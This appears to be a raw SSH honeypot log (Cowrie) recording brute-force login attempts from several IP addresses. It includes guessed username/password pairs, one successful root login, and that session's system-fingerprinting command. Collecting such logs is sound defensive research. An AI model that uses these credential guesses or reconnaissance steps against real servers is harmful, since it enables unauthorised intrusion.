{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:06:11.290122Z","src_ip":"80.94.92.184","session":"c7e4bfe3e64e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"12","message":"login attempt [solv/12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:06:12.115672Z","src_ip":"80.94.92.184","session":"c7e4bfe3e64e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:06:13.479850Z","src_ip":"80.94.92.184","session":"c7e4bfe3e64e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":10228,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d2f727e294f","protocol":"ssh","message":"New connection: 193.46.255.86:10228 (10.17.0.5:22) [session: 0d2f727e294f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:06:21.917481Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:06:21.921746Z","src_ip":"193.46.255.86","session":"0d2f727e294f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:06:22.048023Z","src_ip":"193.46.255.86","session":"0d2f727e294f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:06:22.623311Z","src_ip":"193.46.255.86","session":"0d2f727e294f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":42200,"dst_ip":"10.17.0.5","dst_port":22,"session":"6383311843d2","protocol":"ssh","message":"New connection: 162.120.6.20:42200 (10.17.0.5:22) [session: 6383311843d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:07:47.004136Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:07:47.077180Z","src_ip":"162.120.6.20","session":"6383311843d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":42204,"dst_ip":"10.17.0.5","dst_port":22,"session":"f48da7d013ed","protocol":"ssh","message":"New connection: 162.120.6.20:42204 (10.17.0.5:22) [session: f48da7d013ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:07:47.142784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:07:47.146757Z","src_ip":"162.120.6.20","session":"f48da7d013ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:07:47.217058Z","src_ip":"162.120.6.20","session":"f48da7d013ed","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"1a2b3c4d","message":"login attempt [root/1a2b3c4d] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:07:47.427018Z","src_ip":"162.120.6.20","session":"f48da7d013ed","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:07:47.603772Z","src_ip":"162.120.6.20","session":"f48da7d013ed","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:07:47.606963Z","src_ip":"162.120.6.20","session":"f48da7d013ed","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:07:47.680472Z","src_ip":"162.120.6.20","session":"f48da7d013ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:07:47.684302Z","src_ip":"162.120.6.20","session":"f48da7d013ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.29.34.170","src_port":51868,"dst_ip":"159.203.135.109","dst_port":22,"session":"39b2596c2344","protocol":"ssh","message":"New connection: 196.29.34.170:51868 (159.203.135.109:22) [session: 39b2596c2344]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:07:50.003394Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:07:50.008793Z","src_ip":"196.29.34.170","session":"39b2596c2344","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:07:50.249957Z","src_ip":"196.29.34.170","session":"39b2596c2344","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"live","password":"live123!","message":"login attempt [live/live123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:07:51.246328Z","src_ip":"196.29.34.170","session":"39b2596c2344","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:07:52.487798Z","src_ip":"196.29.34.170","session":"39b2596c2344","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":39842,"dst_ip":"159.203.135.109","dst_port":22,"session":"79da64127a27","protocol":"ssh","message":"New connection: 2.57.122.208:39842 (159.203.135.109:22) [session: 79da64127a27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:08:06.878003Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:08:06.984942Z","src_ip":"2.57.122.208","session":"79da64127a27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:08:06.988069Z","src_ip":"2.57.122.208","session":"79da64127a27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sniper","password":"sniper","message":"login attempt [sniper/sniper] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:08:07.830526Z","src_ip":"2.57.122.208","session":"79da64127a27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:08:08.971545Z","src_ip":"2.57.122.208","session":"79da64127a27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":33596,"dst_ip":"10.17.0.5","dst_port":22,"session":"9eb764480eeb","protocol":"ssh","message":"New connection: 80.94.92.184:33596 (10.17.0.5:22) [session: 9eb764480eeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:09:12.090423Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:09:12.561548Z","src_ip":"80.94.92.184","session":"9eb764480eeb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:09:12.564037Z","src_ip":"80.94.92.184","session":"9eb764480eeb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123321","message":"login attempt [solv/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:09:13.342081Z","src_ip":"80.94.92.184","session":"9eb764480eeb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:09:14.647980Z","src_ip":"80.94.92.184","session":"9eb764480eeb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"218.4.120.211","src_port":56938,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca0af31eaf32","protocol":"ssh","message":"New connection: 218.4.120.211:56938 (159.203.135.109:22) [session: ca0af31eaf32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:09:35.251056Z"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:09:35.509063Z","src_ip":"218.4.120.211","session":"ca0af31eaf32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"218.4.120.211","src_port":57196,"dst_ip":"159.203.135.109","dst_port":22,"session":"dcd8662b66a7","protocol":"ssh","message":"New connection: 218.4.120.211:57196 (159.203.135.109:22) [session: dcd8662b66a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:09:35.731370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:09:35.735130Z","src_ip":"218.4.120.211","session":"dcd8662b66a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:09:35.954014Z","src_ip":"218.4.120.211","session":"dcd8662b66a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:09:36.623474Z","src_ip":"218.4.120.211","session":"dcd8662b66a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:09:37.844329Z","src_ip":"218.4.120.211","session":"dcd8662b66a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"218.4.120.211","src_port":58516,"dst_ip":"159.203.135.109","dst_port":22,"session":"4308f5fec489","protocol":"ssh","message":"New connection: 218.4.120.211:58516 (159.203.135.109:22) [session: 4308f5fec489]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:09:38.077750Z"}
{"eventid":"cowrie.session.connect","src_ip":"196.29.34.170","src_port":59706,"dst_ip":"159.203.135.109","dst_port":22,"session":"69e33fedb1c6","protocol":"ssh","message":"New connection: 196.29.34.170:59706 (159.203.135.109:22) [session: 69e33fedb1c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:10:07.680246Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:10:07.685320Z","src_ip":"196.29.34.170","session":"69e33fedb1c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:10:07.926614Z","src_ip":"196.29.34.170","session":"69e33fedb1c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adi","password":"1234","message":"login attempt [adi/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:10:08.919002Z","src_ip":"196.29.34.170","session":"69e33fedb1c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:10:10.161384Z","src_ip":"196.29.34.170","session":"69e33fedb1c6","protocol":"ssh"}
